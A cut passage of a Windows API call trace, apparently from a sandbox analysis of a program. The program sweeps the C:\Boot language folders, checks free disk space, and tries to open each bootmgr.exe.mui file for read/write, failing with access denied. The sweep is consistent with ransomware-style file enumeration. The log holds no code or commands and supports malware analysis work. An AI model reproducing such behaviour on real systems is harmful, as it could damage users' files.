fInfoLevelId=0x0, lpFileInformation=0x174fb00 | out: lpFileInformation=0x174fb00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83b9c0f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16040)) returned 1 [0075.784] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fad8 [0075.785] GetFileAttributesExW (in: lpFileName="C:\\Boot\\pt-BR\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-br\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x174fab8 | out: lpFileInformation=0x174fab8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0ad5c0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0ad5c0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83b9c0f, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16040)) returned 1 [0075.785] CreateFileW (lpFileName="C:\\Boot\\pt-BR\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-br\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0075.785] GetLastError () returned 0x5 [0075.785] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fad8) returned 1 [0075.785] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fb60) returned 1 [0075.785] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fb60 [0075.785] GetFileAttributesExW (in: lpFileName="C:\\Boot\\pt-PT\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-pt\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x174fb04 | out: lpFileInformation=0x174fb04*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe823ce95, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15e40)) returned 1 [0075.785] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fad8 [0075.785] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1a056d0 [0075.785] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1a05648 [0075.786] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1a056d0) returned 1 [0075.786] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\Boot\\pt-PT", lpFreeBytesAvailableToCaller=0x174fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x174fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0075.786] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1a05648) returned 1 [0075.786] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fad8) returned 1 [0075.786] GetFileAttributesExW (in: lpFileName="C:\\Boot\\pt-PT\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-pt\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x174fb00 | out: lpFileInformation=0x174fb00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe823ce95, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15e40)) returned 1 [0075.786] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fad8 [0075.786] GetFileAttributesExW (in: lpFileName="C:\\Boot\\pt-PT\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-pt\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x174fab8 | out: lpFileInformation=0x174fab8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe823ce95, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15e40)) returned 1 [0075.786] CreateFileW (lpFileName="C:\\Boot\\pt-PT\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-pt\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0075.786] GetLastError () returned 0x5 [0075.786] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fad8) returned 1 [0075.787] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fb60) returned 1 [0075.787] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fb60 [0075.787] GetFileAttributesExW (in: lpFileName="C:\\Boot\\ru-RU\\bootmgr.exe.mui" (normalized: "c:\\boot\\ru-ru\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x174fb04 | out: lpFileInformation=0x174fb04*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050)) returned 1 [0075.787] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fad8 [0075.787] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1a05648 [0075.787] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1a056d0 [0075.787] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1a05648) returned 1 [0075.787] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\Boot\\ru-RU", lpFreeBytesAvailableToCaller=0x174fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x174fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0075.788] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1a056d0) returned 1 [0075.788] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fad8) returned 1 [0075.788] GetFileAttributesExW (in: lpFileName="C:\\Boot\\ru-RU\\bootmgr.exe.mui" (normalized: "c:\\boot\\ru-ru\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x174fb00 | out: lpFileInformation=0x174fb00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050)) returned 1 [0075.788] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fad8 [0075.788] GetFileAttributesExW (in: lpFileName="C:\\Boot\\ru-RU\\bootmgr.exe.mui" (normalized: "c:\\boot\\ru-ru\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x174fab8 | out: lpFileInformation=0x174fab8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050)) returned 1 [0075.788] CreateFileW (lpFileName="C:\\Boot\\ru-RU\\bootmgr.exe.mui" (normalized: "c:\\boot\\ru-ru\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0075.788] GetLastError () returned 0x5 [0075.788] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fad8) returned 1 [0075.788] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fb60) returned 1 [0075.788] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fb60 [0075.788] GetFileAttributesExW (in: lpFileName="C:\\Boot\\sv-SE\\bootmgr.exe.mui" (normalized: "c:\\boot\\sv-se\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x174fb04 | out: lpFileInformation=0x174fb04*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640)) returned 1 [0075.789] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fad8 [0075.789] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1a056d0 [0075.789] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1a05648 [0075.789] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1a056d0) returned 1 [0075.789] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\Boot\\sv-SE", lpFreeBytesAvailableToCaller=0x174fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x174fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0075.789] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1a05648) returned 1 [0075.789] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fad8) returned 1 [0075.789] GetFileAttributesExW (in: lpFileName="C:\\Boot\\sv-SE\\bootmgr.exe.mui" (normalized: "c:\\boot\\sv-se\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x174fb00 | out: lpFileInformation=0x174fb00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640)) returned 1 [0075.789] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fad8 [0075.789] GetFileAttributesExW (in: lpFileName="C:\\Boot\\sv-SE\\bootmgr.exe.mui" (normalized: "c:\\boot\\sv-se\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x174fab8 | out: lpFileInformation=0x174fab8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640)) returned 1 [0075.790] CreateFileW (lpFileName="C:\\Boot\\sv-SE\\bootmgr.exe.mui" (normalized: "c:\\boot\\sv-se\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0075.790] GetLastError () returned 0x5 [0075.790] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fad8) returned 1 [0075.790] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fb60) returned 1 [0075.790] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fb60 [0075.790] GetFileAttributesExW (in: lpFileName="C:\\Boot\\tr-TR\\bootmgr.exe.mui" (normalized: "c:\\boot\\tr-tr\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x174fb04 | out: lpFileInformation=0x174fb04*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8393ab6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15440)) returned 1 [0075.790] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fad8 [0075.790] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1a05648 [0075.790] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1a056d0 [0075.790] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1a05648) returned 1 [0075.790] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\Boot\\tr-TR", lpFreeBytesAvailableToCaller=0x174fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x174fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0075.791] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1a056d0) returned 1 [0075.791] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fad8) returned 1 [0075.791] GetFileAttributesExW (in: lpFileName="C:\\Boot\\tr-TR\\bootmgr.exe.mui" (normalized: "c:\\boot\\tr-tr\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x174fb00 | out: lpFileInformation=0x174fb00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8393ab6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15440)) returned 1 [0075.791] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fad8 [0075.791] GetFileAttributesExW (in: lpFileName="C:\\Boot\\tr-TR\\bootmgr.exe.mui" (normalized: "c:\\boot\\tr-tr\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x174fab8 | out: lpFileInformation=0x174fab8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8393ab6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15440)) returned 1 [0075.791] CreateFileW (lpFileName="C:\\Boot\\tr-TR\\bootmgr.exe.mui" (normalized: "c:\\boot\\tr-tr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0075.791] GetLastError () returned 0x5 [0075.791] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fad8) returned 1 [0075.792] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fb60) returned 1 [0075.792] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fb60 [0075.792] GetFileAttributesExW (in: lpFileName="C:\\Boot\\zh-CN\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-cn\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x174fb04 | out: lpFileInformation=0x174fb04*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8725b0e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11440)) returned 1 [0075.792] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fad8 [0075.793] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1a056d0 [0075.793] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1a05648 [0075.793] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1a056d0) returned 1 [0075.793] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\Boot\\zh-CN", lpFreeBytesAvailableToCaller=0x174fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x174fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0075.794] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1a05648) returned 1 [0075.794] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fad8) returned 1 [0075.794] GetFileAttributesExW (in: lpFileName="C:\\Boot\\zh-CN\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-cn\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x174fb00 | out: lpFileInformation=0x174fb00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8725b0e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11440)) returned 1 [0075.794] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fad8 [0075.794] GetFileAttributesExW (in: lpFileName="C:\\Boot\\zh-CN\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-cn\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x174fab8 | out: lpFileInformation=0x174fab8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8725b0e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11440)) returned 1 [0075.794] CreateFileW (lpFileName="C:\\Boot\\zh-CN\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-cn\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0075.794] GetLastError () returned 0x5 [0075.795] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fad8) returned 1 [0075.795] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fb60) returned 1 [0075.795] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fb60 [0075.795] GetFileAttributesExW (in: lpFileName="C:\\Boot\\zh-HK\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-hk\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x174fb04 | out: lpFileInformation=0x174fb04*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11250)) returned 1 [0075.795] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fad8 [0075.795] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1a05648 [0075.795] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1a056d0 [0075.795] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1a05648) returned 1 [0075.795] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\Boot\\zh-HK", lpFreeBytesAvailableToCaller=0x174fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x174fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0075.796] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1a056d0) returned 1 [0075.796] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fad8) returned 1 [0075.796] GetFileAttributesExW (in: lpFileName="C:\\Boot\\zh-HK\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-hk\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x174fb00 | out: lpFileInformation=0x174fb00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11250)) returned 1 [0075.796] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fad8 [0075.796] GetFileAttributesExW (in: lpFileName="C:\\Boot\\zh-HK\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-hk\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x174fab8 | out: lpFileInformation=0x174fab8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11250)) returned 1 [0075.796] CreateFileW (lpFileName="C:\\Boot\\zh-HK\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-hk\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0075.796] GetLastError () returned 0x5 [0075.796] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fad8) returned 1 [0075.796] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fb60) returned 1 [0075.796] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fb60 [0075.797] GetFileAttributesExW (in: lpFileName="C:\\Boot\\zh-TW\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-tw\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x174fb04 | out: lpFileInformation=0x174fb04*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83216ab, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11240)) returned 1 [0075.797] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fad8 [0075.797] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1a056d0 [0075.797] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1a05648 [0075.797] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1a056d0) returned 1 [0075.797] GetDiskFreeSpaceExW (in: lpDirectoryName="C:\\Boot\\zh-TW", lpFreeBytesAvailableToCaller=0x174fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0 | out: lpFreeBytesAvailableToCaller=0x174fb88, lpTotalNumberOfBytes=0x0, lpTotalNumberOfFreeBytes=0x0) returned 1 [0075.797] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x1a05648) returned 1 [0075.797] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fad8) returned 1 [0075.798] GetFileAttributesExW (in: lpFileName="C:\\Boot\\zh-TW\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-tw\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x174fb00 | out: lpFileInformation=0x174fb00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83216ab, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11240)) returned 1 [0075.798] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fad8 [0075.798] GetFileAttributesExW (in: lpFileName="C:\\Boot\\zh-TW\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-tw\\bootmgr.exe.mui"), fInfoLevelId=0x0, lpFileInformation=0x174fab8 | out: lpFileInformation=0x174fab8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83216ab, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11240)) returned 1 [0075.798] CreateFileW (lpFileName="C:\\Boot\\zh-TW\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-tw\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0075.798] GetLastError () returned 0x5 [0075.798] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fad8) returned 1 [0075.799] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf7fb60) returned 1 [0075.799] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf7fb60 [0075.799] GetFileAttributesExW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excellr.cab"), fInfoLevelId=0x0, lpFileInformation=0x174fb04 | out: lpFileInformation=0x174fb04*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x393df700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x393df700, 